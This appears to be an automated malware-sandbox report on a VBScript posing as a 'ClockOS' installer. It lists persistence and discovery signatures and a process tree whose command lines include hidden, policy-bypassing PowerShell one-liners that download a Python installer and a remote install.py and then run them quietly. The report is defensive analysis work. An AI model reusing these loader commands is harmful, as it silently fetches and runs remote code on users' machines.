Analysis
- user interaction
yes - max time kernel
1049s - max time network
1052s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
11/10/2026, 14:21
General
- Target ClockOSV1-setup-windows-x64.vbs
- Size 1KB
- Sample261011-rn77xabb35
- SHA256 31840e6d44a2bcde170575b39c6b54362c23aafc098f190269dd1171eb015e1b
Malware Config
Signatures
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Powershell Invoke Web Request.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 7 IoCs
- Loads dropped DLL 7 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies data under HKEY_USERS 7 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: EnumeratesProcesses 34 IoCs
- Suspicious behavior: LoadsDriver 4 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 35 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 61 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ClockOSV1-setup-windows-x64.vbs"1⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ClockOS_setup_5.53175E+07.bat" --clock-hidden"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c where pyw.exe 2>nul3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\where.exewhere pyw.exe4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c where pythonw.exe 2>nul3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\where.exewhere pythonw.exe4⤵
-
-
-
C:\Windows\system32\where.exewhere winget.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c where pyw.exe 2>nul3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\where.exewhere pyw.exe4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c where pythonw.exe 2>nul3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\where.exewhere pythonw.exe4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -UseBasicParsing -Uri 'https://www.python.org/ftp/python/3.12.10/python-3.12.10-amd64.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\clock_python_101499318.exe' } catch { exit 1 }"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\clock_python_101499318.exe"C:\Users\Admin\AppData\Local\Temp\clock_python_101499318.exe" /quiet InstallAllUsers=0 PrependPath=0 Include_pip=1 Include_tcltk=13⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\Temp\{7BD37763-3D44-4290-86B8-2907D5AFC82C}\.cr\clock_python_101499318.exe"C:\Windows\Temp\{7BD37763-3D44-4290-86B8-2907D5AFC82C}\.cr\clock_python_101499318.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\clock_python_101499318.exe" -burn.filehandle.attached=780 -burn.filehandle.self=784 /quiet InstallAllUsers=0 PrependPath=0 Include_pip=1 Include_tcltk=14⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c where pyw.exe 2>nul3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\where.exewhere pyw.exe4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c where pythonw.exe 2>nul3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\where.exewhere pythonw.exe4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Invoke-WebRequest -UseBasicParsing -Uri ('https://raw.githubusercontent.com/n0rm0/Clock/main/.source/install/install.py?t=' + [guid]::NewGuid()) -OutFile 'C:\Users\Admin\AppData\Local\Temp\clock_install_114953333.py' } catch { exit 1 }"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\pythonw.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python312\pythonw.exe" "C:\Users\Admin\AppData\Local\Temp\clock_install_114953333.py" --clock-hidden3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffdcdecc728,0x7ffdcdecc734,0x7ffdcdecc7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,13619607228518992678,18182864931748146415,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,14494573995517713740,14892465285769891136,262144 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=1872 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2312,i,10880539826767160526,17763522903440002058,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3272,i,12506883131764020813,15000922745386732547,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3300,i,9472230160782619093,3109519364858847429,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4688,i,9015814163853343664,5962995585059403967,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4852,i,16855134914459330490,14520454119871966717,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5344,i,4747484668355612522,13712593603140334174,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5464,i,4569115832134463152,4903724093591308077,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5488,i,5439185656567816477,12312280653493989160,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5456,i,2226125280784082158,13306888127174977454,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5692,i,12893355366759541697,6833521586323300843,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5964,i,5887640157592113239,7441999085651371988,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6348,i,18240893872172593032,4480914120838757846,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6508,i,8890667361615447059,9573768582958372457,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6348,i,770526927301459043,18355555987600584717,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6624,i,17111610897142711188,609542309263887158,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5344,i,9211521572134578312,15112657862677766219,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6764,i,8858351867279262672,157325432663240447,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=7032 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5840,i,14127781981711417218,13523467715099857244,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5964,i,15903330744797747609,9991480044042798903,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5988,i,5314545272765316555,3738189114947053557,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4792,i,6238942946866172930,3054805678282811120,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=7000,i,128298919491031745,6798017429839078292,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=7192,i,3317873418752928540,9971728329482145619,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6236 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=256,i,16924838805179547801,372950791664742445,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=7192 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=4784,i,16439065932646427210,5867163857542657054,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=6252,i,4175494976338352494,4661586679582575967,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=6804,i,12822984322326242445,16102885167007280922,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --metrics-shmem-handle=6736,i,5438637536479839326,12495625617071813697,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6588,i,6809188370380007918,15399810712387078385,262144 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:102⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=6244,i,13610010143401430005,1151331090760282165,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=7016 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --metrics-shmem-handle=4644,i,13104569701534964616,6974622945801167644,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6808 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --metrics-shmem-handle=6056,i,15218954832397581685,12334216107677653249,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=7180 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --metrics-shmem-handle=1508,i,16229341822384998275,14915502763291160219,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=4432,i,13942797764845917849,17879931573500716659,524288 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --metrics-shmem-handle=5572,i,10339629086517575953,4253483555072821369,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --metrics-shmem-handle=6964,i,1886535867589219885,8302470421093746110,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6600 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --metrics-shmem-handle=1220,i,5183840262872783645,16211606328564055847,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:12⤵
-
-
